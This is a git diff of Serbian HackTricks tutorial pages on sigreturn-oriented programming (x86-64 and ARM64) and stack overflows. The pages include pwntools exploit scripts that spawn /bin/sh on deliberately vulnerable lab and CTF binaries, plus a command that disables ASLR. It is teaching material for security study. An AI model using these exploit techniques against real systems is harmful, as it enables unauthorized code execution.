@@ -79,10 +80,10 @@ svc #0
```
{% endcode %}
-Sa prethodnim gedžetima možemo kontrolisati sve potrebne registre sa steka i koristiti x5 da skočimo na drugi gedžet kako bismo pozvali sistemski poziv.
+Sa prethodnim gadgetima možemo kontrolisati sve potrebne registre sa steka i koristiti x5 da skočimo na drugi gadget kako bismo pozvali syscall.
{% hint style="success" %}
-Imajte na umu da poznavanje ovih informacija iz libc biblioteke takođe omogućava izvođenje napada ret2libc, ali koristimo ih za ovaj trenutni primer.
+Imajte na umu da poznavanje ovih informacija iz libc biblioteke takođe omogućava izvođenje ret2libc napada, ali hajde da to iskoristimo za ovaj trenutni primer.
{% endhint %}
### Eksploatacija
@@ -134,16 +135,17 @@ p.sendline(payload)
p.interactive()
```
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
index b4862b2f4..e303c8f30 100644
--- a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
+++ b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
@@ -1,38 +1,39 @@
# SROP - Sigreturn-Oriented Programming
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-## Osnovne informacije
-
-**`Sigreturn`** je poseban **sistemski poziv (syscall)** koji se uglavnom koristi za čišćenje nakon što je rukovalac signala završio svoje izvršavanje. Signali su prekidi koje operativni sistem šalje programu, često da bi ukazao da se desila neka izuzetna situacija. Kada program primi signal, privremeno pauzira svoj trenutni rad kako bi obradio signal pomoću **rukovaoca signala**, posebne funkcije dizajnirane za rukovanje signalima.
-
-Nakon što rukovalac signala završi, program mora da **nastavi svoje prethodno stanje** kao da se ništa nije desilo. Tu dolazi do izražaja **`sigreturn`**. Pomaže programu da **vrati se iz rukovaoca signala** i vraća stanje programa čišćenjem okvira steka (sekcija memorije koja čuva pozive funkcija i lokalne promenljive) koji je korišćen od strane rukovaoca signala.
-
-Interesantan deo je kako **`sigreturn`** vraća stanje programa: to čini tako što **sve vrednosti registara CPU-a čuva na steku.** Kada signal više nije blokiran, **`sigreturn` izbacuje ove vrednosti sa steka**, efikasno resetujući registre CPU-a na njihovo stanje pre rukovanja signalom. To uključuje registar pokazivača steka (RSP), koji pokazuje na trenutni vrh steka.
-
-{% hint style="opasnost" %}
-Pozivanjem sistemskog poziva **`sigreturn`** iz ROP lanca i **dodavanjem vrednosti registara** koje želimo da učita na **stek** moguće je **kontrolisati** sve vrednosti registara i stoga **pozvati** na primer sistemski poziv `execve` sa `/bin/sh`.
{% endhint %}
-Primetite kako bi ovo bio **tip Ret2syscall** koji olakšava kontrolisanje parametara za pozivanje drugih Ret2syscall-ova:
+## Basic Information
+
+**`Sigreturn`** je posebna **syscall** koja se prvenstveno koristi za čišćenje nakon što signalni handler završi svoju izvršavanje. Signali su prekidi koje operativni sistem šalje programu, često da bi ukazali na to da se dogodila neka izuzetna situacija. Kada program primi signal, privremeno pauzira svoj trenutni rad da bi obradio signal pomoću **signal handler-a**, posebne funkcije dizajnirane za rukovanje signalima.
+
+Nakon što signalni handler završi, program treba da **nastavi svoje prethodno stanje** kao da se ništa nije dogodilo. Tu dolazi do izražaja **`sigreturn`**. Pomaže programu da **vrati iz signal handler-a** i obnavlja stanje programa čišćenjem steka (odeljak memorije koji čuva pozive funkcija i lokalne promenljive) koji je koristio signalni handler.
+
+Zanimljiv deo je kako **`sigreturn`** obnavlja stanje programa: to čini tako što čuva **sve vrednosti CPU registara na steku.** Kada signal više nije blokiran, **`sigreturn`** uklanja ove vrednosti sa steka, efikasno resetujući registre CPU-a na njihovo stanje pre nego što je signal obrađen. Ovo uključuje registar pokazivača steka (RSP), koji pokazuje na trenutni vrh steka.
+
+{% hint style="danger" %}
+Pozivanje syscall-a **`sigreturn`** iz ROP lanca i **dodavanje registarskih vrednosti** koje želimo da učitamo u **stek** omogućava nam da **kontrolišemo** sve registarske vrednosti i stoga **pozovemo** na primer syscall `execve` sa `/bin/sh`.
+{% endhint %}
+
+Obratite pažnju na to kako bi ovo bila **vrsta Ret2syscall** koja olakšava kontrolu parametara za pozivanje drugih Ret2syscall-a:
{% content-ref url="../rop-syscall-execv/" %}
[rop-syscall-execv](../rop-syscall-execv/)
{% endcontent-ref %}
-Ako ste radoznali, ovo je **struktura sigcontext-a** smeštena na steku kako bi se kasnije povratile vrednosti (dijagram sa [**ovde**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
+Ako vas zanima, ovo je **sigcontext struktura** koja se čuva na steku da bi se kasnije povratile vrednosti (dijagram iz [**ovde**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
```
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
@@ -68,13 +69,13 @@ Ako ste radoznali, ovo je **struktura sigcontext-a** smeštena na steku kako bi
| __reserved | sigmask |
+--------------------+--------------------+
```
-Za bolje objašnjenje pogledajte i:
+Za bolje objašnjenje pogledajte takođe:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
## Primer
-Možete [**pronaći primer ovde**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) gde je poziv za signeturn konstruisan putem ROP-a (stavljanjem vrednosti `0xf` u rxa), iako je ovo konačan eksploit od tamo:
+Možete [**pronaći primer ovde**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) gde se poziv na signeturn konstruira putem ROP-a (stavljajući u rxa vrednost `0xf`), iako je ovo konačni exploit odatle:
```python
from pwn import *
@@ -101,7 +102,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
-Proverite i [**exploit ovde**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) gde je binarni fajl već pozivao `sigreturn` i stoga nije potrebno to izgraditi sa **ROP**:
+Proverite takođe [**eksploit ovde**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) gde je binarni program već pozivao `sigreturn` i stoga nije potrebno to graditi sa **ROP**:
```python
from pwn import *
@@ -139,12 +140,27 @@ target.interactive()
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
-* Binarni fajl na asembleru koji omogućava **pisanje na stek** i zatim poziva **`sigreturn`** sistemski poziv. Moguće je pisati na stek [**ret2syscall**](../rop-syscall-execv/) putem **sigreturn** strukture i pročitati zastavu koja se nalazi u memoriji binarnog fajla.
+* Assembler binarni program koji omogućava **pisanje na stek** i zatim poziva **`sigreturn`** syscall. Moguće je napisati na stek [**ret2syscall**](../rop-syscall-execv/) putem **sigreturn** strukture i pročitati zastavicu koja se nalazi unutar memorije binarnog programa.
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
-* Binarni fajl na asembleru koji omogućava **pisanje na stek** i zatim poziva **`sigreturn`** sistemski poziv. Moguće je pisati na stek [**ret2syscall**](../rop-syscall-execv/) putem **sigreturn** strukture (binarni fajl sadrži string `/bin/sh`).
+* Assembler binarni program koji omogućava **pisanje na stek** i zatim poziva **`sigreturn`** syscall. Moguće je napisati na stek [**ret2syscall**](../rop-syscall-execv/) putem **sigreturn** strukture (binarni program sadrži string `/bin/sh`).
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
-* 64 bita, bez relro-a, bez canary-ja, nx, bez pie-a. Jednostavno preplavljivanje bafera zloupotrebom `gets` funkcije sa nedostatkom gedžeta koji izvršava [**ret2syscall**](../rop-syscall-execv/). ROP lanac upisuje `/bin/sh` u `.bss` pozivajući ponovo gets, zloupotrebljava **`alarm`** funkciju da postavi eax na `0xf` kako bi pozvao **SROP** i izvršio shell.
+* 64 bita, bez relro, bez kanarija, nx, bez pie. Jednostavna buffer overflow koja zloupotrebljava `gets` funkciju sa nedostatkom gadgeta koji izvršava [**ret2syscall**](../rop-syscall-execv/). ROP lanac piše `/bin/sh` u `.bss` ponovnim pozivanjem gets, zloupotrebljava **`alarm`** funkciju da postavi eax na `0xf` kako bi pozvao **SROP** i izvršio shell.
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
-* 64 bitni program na asembleru, bez relro-a, bez canary-ja, nx, bez pie-a. Tok omogućava pisanje na stek, kontrolu nekoliko registara, poziv sistemskog poziva i zatim poziva `exit`. Izabrani sistemski poziv je `sigreturn` koji će postaviti registre i premestiti `eip` da pozove prethodnu instrukciju sistema i pokrene `memprotect` da postavi prostor binarnog fajla na `rwx` i postavi ESP u prostor binarnog fajla. Nastavljajući tok, program će ponovo pozvati read u ESP, ali u ovom slučaju ESP će pokazivati na sledeću instrukciju tako da će prosleđivanje shell koda napisati ga kao sledeću instrukciju i izvršiti je.
+* 64 bita assembler program, bez relro, bez kanarija, nx, bez pie. Tok omogućava pisanje na stek, kontrolu nekoliko registara, i pozivanje syscall-a, a zatim poziva `exit`. Izabrani syscall je `sigreturn` koji će postaviti registre i pomeriti `eip` da pozove prethodnu syscall instrukciju i izvrši `memprotect` da postavi binarni prostor na `rwx` i postavi ESP u binarnom prostoru. Prateći tok, program će ponovo pozvati read u ESP, ali u ovom slučaju ESP će pokazivati na sledeću instrukciju, tako da će prosleđivanje shellcode-a napisati kao sledeću instrukciju i izvršiti je.
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
-* SROP se koristi da se daju privilegije izvršavanja (memprotect) na mestu gde je smešten shell kod.
+* SROP se koristi za davanje privilegija izvršavanja (memprotect) mestu gde je postavljen shellcode.
+
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Podrška HackTricks
+
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+
+
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
index 10f200951..89324890f 100644
--- a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
+++ b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
@@ -1,22 +1,23 @@
# SROP - ARM64
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
## Pwntools primer
-Ovaj primer kreira ranjivu binarnu datoteku i eksploatiše je. Binarna datoteka **čita na stek** a zatim poziva **`sigreturn`**:
+Ovaj primer kreira ranjivi binarni fajl i koristi ga. Binarni fajl **čita u stek** i zatim poziva **`sigreturn`**:
```python
from pwn import *
@@ -44,9 +45,9 @@ p = process(binary.path)
p.send(bytes(frame))
p.interactive()
```
-## Primer preplavljivanja bafera
+## bof пример
-### Kod
+### Код
```c
#include
#include
@@ -79,14 +80,14 @@ do_stuff(2);
return 0;
}
```
-Kompajlirajte ga sa:
+Sastavite to sa:
```bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
```
-## Eksploatacija
+## Exploit
-Eksploatacija zloupotrebljava bof da bi se vratila na poziv **`sigreturn`** i pripremila stek za poziv **`execve`** sa pokazivačem na `/bin/sh`.
+Eksploit koristi bof da se vrati na poziv **`sigreturn`** i pripremi stek za poziv **`execve`** sa pokazivačem na `/bin/sh`.
```python
from pwn import *
@@ -115,9 +116,9 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
-## Primer prelivanja bafera bez sigreturn-a
+## bof пример без sigreturn
-### Kod
+### Код
```c
#include
#include
@@ -142,13 +143,13 @@ char* b = gen_stack();
return 0;
}
```
-## Eksploatacija
+## Exploit
-U odeljku **`vdso`** moguće je pronaći poziv **`sigreturn`** na offsetu **`0x7b0`**:
+U sekciji **`vdso`** moguće je pronaći poziv na **`sigreturn`** na offsetu **`0x7b0`**:
-Stoga, ako procuri, moguće je **koristiti ovu adresu za pristup `sigreturn`-u** ako se binarni fajl ne učitava:
+Dakle, ako je otkriven, moguće je **koristiti ovu adresu za pristup `sigreturn`** ako binarni fajl je ne učitava:
```python
from pwn import *
@@ -183,8 +184,23 @@ Za više informacija o vdso proverite:
[ret2vdso.md](../ret2vdso.md)
{% endcontent-ref %}
-I da biste zaobišli adresu `/bin/sh`, možete kreirati nekoliko env promenljivih koje pokazuju na nju, za više informacija:
+A da biste zaobišli adresu `/bin/sh`, možete kreirati nekoliko env varijabli koje upućuju na nju, za više informacija:
{% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %}
[aslr](../../common-binary-protections-and-bypasses/aslr/)
{% endcontent-ref %}
+
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Podržite HackTricks
+
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+
+
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/README.md b/binary-exploitation/stack-overflow/README.md
index 82b20b91c..aad5bed92 100644
--- a/binary-exploitation/stack-overflow/README.md
+++ b/binary-exploitation/stack-overflow/README.md
@@ -1,28 +1,29 @@
-# Prekoračenje steka
+# Stack Overflow
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
-## Šta je prekoračenje steka
+## Šta je Stack Overflow
-**Prekoračenje steka** je ranjivost koja se javlja kada program upisuje više podataka na stek nego što je alociran da drži. Ovi višak podataka će **prepisati susedni memorijski prostor**, što dovodi do korupcije validnih podataka, prekida kontrolnog toka i potencijalno izvršavanja zlonamernog koda. Ovaj problem često nastaje zbog korišćenja nesigurnih funkcija koje ne vrše proveru granica unosa.
+**Stack overflow** je ranjivost koja se javlja kada program upisuje više podataka na stek nego što je dodeljeno da drži. Ovi viškovi podataka će **prepisati susedni memorijski prostor**, što dovodi do korupcije validnih podataka, prekida kontrolnog toka i potencijalno izvršavanja zlonamernog koda. Ovaj problem često nastaje zbog korišćenja nesigurnih funkcija koje ne vrše proveru granica na ulazu.
-Glavni problem ovog prepisivanja je što su **sačuvani pokazivač instrukcija (EIP/RIP)** i **sačuvani bazni pokazivač (EBP/RBP)** za povratak na prethodnu funkciju **sačuvani na steku**. Stoga, napadač će moći da prepisuje te vrednosti i **kontroliše izvršavanje programa**.
+Glavni problem ovog prepisivanja je što su **sačuvani pokazivač instrukcija (EIP/RIP)** i **sačuvani osnovni pokazivač (EBP/RBP)** za vraćanje na prethodnu funkciju **smešteni na steku**. Stoga, napadač će moći da prepiše te pokazivače i **kontroliše tok izvršavanja programa**.
-Ranjivost obično nastaje jer funkcija **kopira unutar steka više bajtova nego što je alocirano za nju**, te može prepisati druge delove steka.
+Ranjivost obično nastaje jer funkcija **kopira više bajtova unutar steka nego što je dodeljeno za nju**, čime može prepisati druge delove steka.
-Neke uobičajene funkcije koje su ranjive na ovo su: **`strcpy`, `strcat`, `sprintf`, `gets`**... Takođe, funkcije poput **`fgets`**, **`read` & `memcpy`** koje uzimaju **argument dužine**, mogu biti korišćene na ranjiv način ako je navedena dužina veća od alocirane.
+Neke uobičajene funkcije ranjive na ovo su: **`strcpy`, `strcat`, `sprintf`, `gets`**... Takođe, funkcije poput **`fgets`**, **`read` & `memcpy`** koje uzimaju **argument dužine**, mogu se koristiti na ranjiv način ako je navedena dužina veća od dodeljene.
Na primer, sledeće funkcije bi mogle biti ranjive:
```c
@@ -33,13 +34,13 @@ gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
-### Pronalaženje ofseta preplavljivanja steka
+### Pronalaženje offseta za Stack Overflow
-Najčešći način pronalaženja preplavljivanja steka je unošenje vrlo velikog unosa `A` (npr. `python3 -c 'print("A"*1000)'`) i očekivanje `Segmentation Fault` koji ukazuje da je **pokušano pristupanje adresi `0x41414141`**.
+Najčešći način za pronalaženje stack overflow-a je davanje veoma velikog unosa `A`s (npr. `python3 -c 'print("A"*1000)'`) i očekivanje `Segmentation Fault` koji ukazuje da je **adresu `0x41414141` pokušano pristupiti**.
-Osim toga, kada otkrijete da postoji ranjivost preplavljivanja steka, moraćete pronaći ofset dok je moguće **prepisati adresu povratka**, za to se obično koristi **De Bruijnov niz**. Za dati alfabet veličine _k_ i podnizove dužine _n_, to je **ciklični niz u kojem se svaki mogući podniz dužine _n_** pojavljuje tačno jednom\*\* kao kontinuirani podniz.
+Štaviše, kada otkrijete da postoji ranjivost na Stack Overflow, biće potrebno pronaći offset do trenutka kada je moguće **prepisati adresu povratka**, za to se obično koristi **De Bruijn sekvenca.** Koja za dati alfabet veličine _k_ i podsekvence dužine _n_ predstavlja **cikličnu sekvencu u kojoj se svaka moguća podsekvenca dužine \_n**\_\*\* pojavljuje tačno jednom\*\* kao kontigenta podsekvenca.
-Na ovaj način, umesto da ručno određujete koji ofset je potreban da biste kontrolisali EIP, moguće je koristiti jedan od ovih nizova kao punjenje, a zatim pronaći ofset bajtova koji su završili prepisivanjem.
+Na ovaj način, umesto da ručno otkrivate koji offset je potreban za kontrolu EIP-a, moguće je koristiti kao punjenje jednu od ovih sekvenci i zatim pronaći offset bajtova koji su završili prepisivanje.
Moguće je koristiti **pwntools** za ovo:
```python
@@ -53,31 +54,31 @@ eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
```
-ili **GEF**:
+или **GEF**:
```bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
-## Iskorišćavanje preplavljenosti steka
+## Iskorišćavanje Stack Overflows
-Tokom preplavljenosti (pretpostavljajući da je veličina preplavljenosti dovoljno velika) moći ćete da **prepišete** vrednosti lokalnih promenljivih unutar steka sve do dostizanja sačuvanog **EBP/RBP i EIP/RIP (ili čak više)**.\
-Najčešći način zloupotrebe ovog tipa ranjivosti je **modifikovanje adrese povratka** tako da kada funkcija završi, **tok kontrole će biti preusmeren gde god je korisnik odredio** u ovom pokazivaču.
+Tokom overflow-a (pretpostavljajući da je veličina overflow-a dovoljno velika) moći ćete da **prepišete** vrednosti lokalnih promenljivih unutar steka dok ne dođete do sačuvanih **EBP/RBP i EIP/RIP (ili čak više)**.\
+Najčešći način zloupotrebe ove vrste ranjivosti je **modifikacija adrese povratka** tako da kada funkcija završi, **kontrolni tok će biti preusmeren gde god korisnik odredi** u ovoj pokazivaču.
-Međutim, u drugim scenarijima možda je dovoljno samo **prepisati vrednosti nekih promenljivih u steku** za eksploataciju (kao u jednostavnim CTF izazovima).
+Međutim, u drugim scenarijima možda će samo **prepisivanje nekih vrednosti promenljivih u steku** biti dovoljno za eksploataciju (kao u lakim CTF izazovima).
### Ret2win
-U ovom tipu CTF izazova, postoji **funkcija** **unutar** binarnog fajla koja se **nikada ne poziva** i koju **morate pozvati da biste pobedili**. Za ove izazove samo trebate pronaći **pomeraj za prepisivanje adrese povratka** i **pronaći adresu funkcije** koju treba pozvati (obično je [**ASLR**](../common-binary-protections-and-bypasses/aslr/) onemogućen) tako da kada ranjiva funkcija završi, skrivena funkcija će biti pozvana:
+U ovom tipu CTF izazova, postoji **funkcija** **unutar** binarnog fajla koja se **nikada ne poziva** i koju **morate pozvati da biste pobedili**. Za ove izazove samo treba da pronađete **offset za prepisivanje adrese povratka** i **pronađete adresu funkcije** koju treba pozvati (obično bi [**ASLR**](../common-binary-protections-and-bypasses/aslr/) bio onemogućen) tako da kada se ranjiva funkcija vrati, skrivena funkcija će biti pozvana:
{% content-ref url="ret2win/" %}
[ret2win](ret2win/)
{% endcontent-ref %}
-### Shellkod u steku
+### Stack Shellcode
-U ovom scenariju napadač može postaviti shellkod u stek i zloupotrebiti kontrolisani EIP/RIP da bi skočio na shellkod i izvršio proizvoljni kod:
+U ovom scenariju napadač može postaviti shellcode u stek i zloupotrebiti kontrolisani EIP/RIP da skoči na shellcode i izvrši proizvoljan kod:
{% content-ref url="stack-shellcode/" %}
[stack-shellcode](stack-shellcode/)
@@ -85,24 +86,39 @@ U ovom scenariju napadač može postaviti shellkod u stek i zloupotrebiti kontro
### ROP & Ret2... tehnike
-Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite prethodne tehnike: **Neizvršivi stek (NX)**. I omogućava izvođenje nekoliko drugih tehnika (ret2lib, ret2syscall...) koje će na kraju izvršiti proizvoljne komande zloupotrebom postojećih instrukcija u binarnom fajlu:
+Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite prethodne tehnike: **No executable stack (NX)**. I omogućava izvođenje nekoliko drugih tehnika (ret2lib, ret2syscall...) koje će završiti izvršavanjem proizvoljnih komandi zloupotrebom postojećih instrukcija u binarnom fajlu:
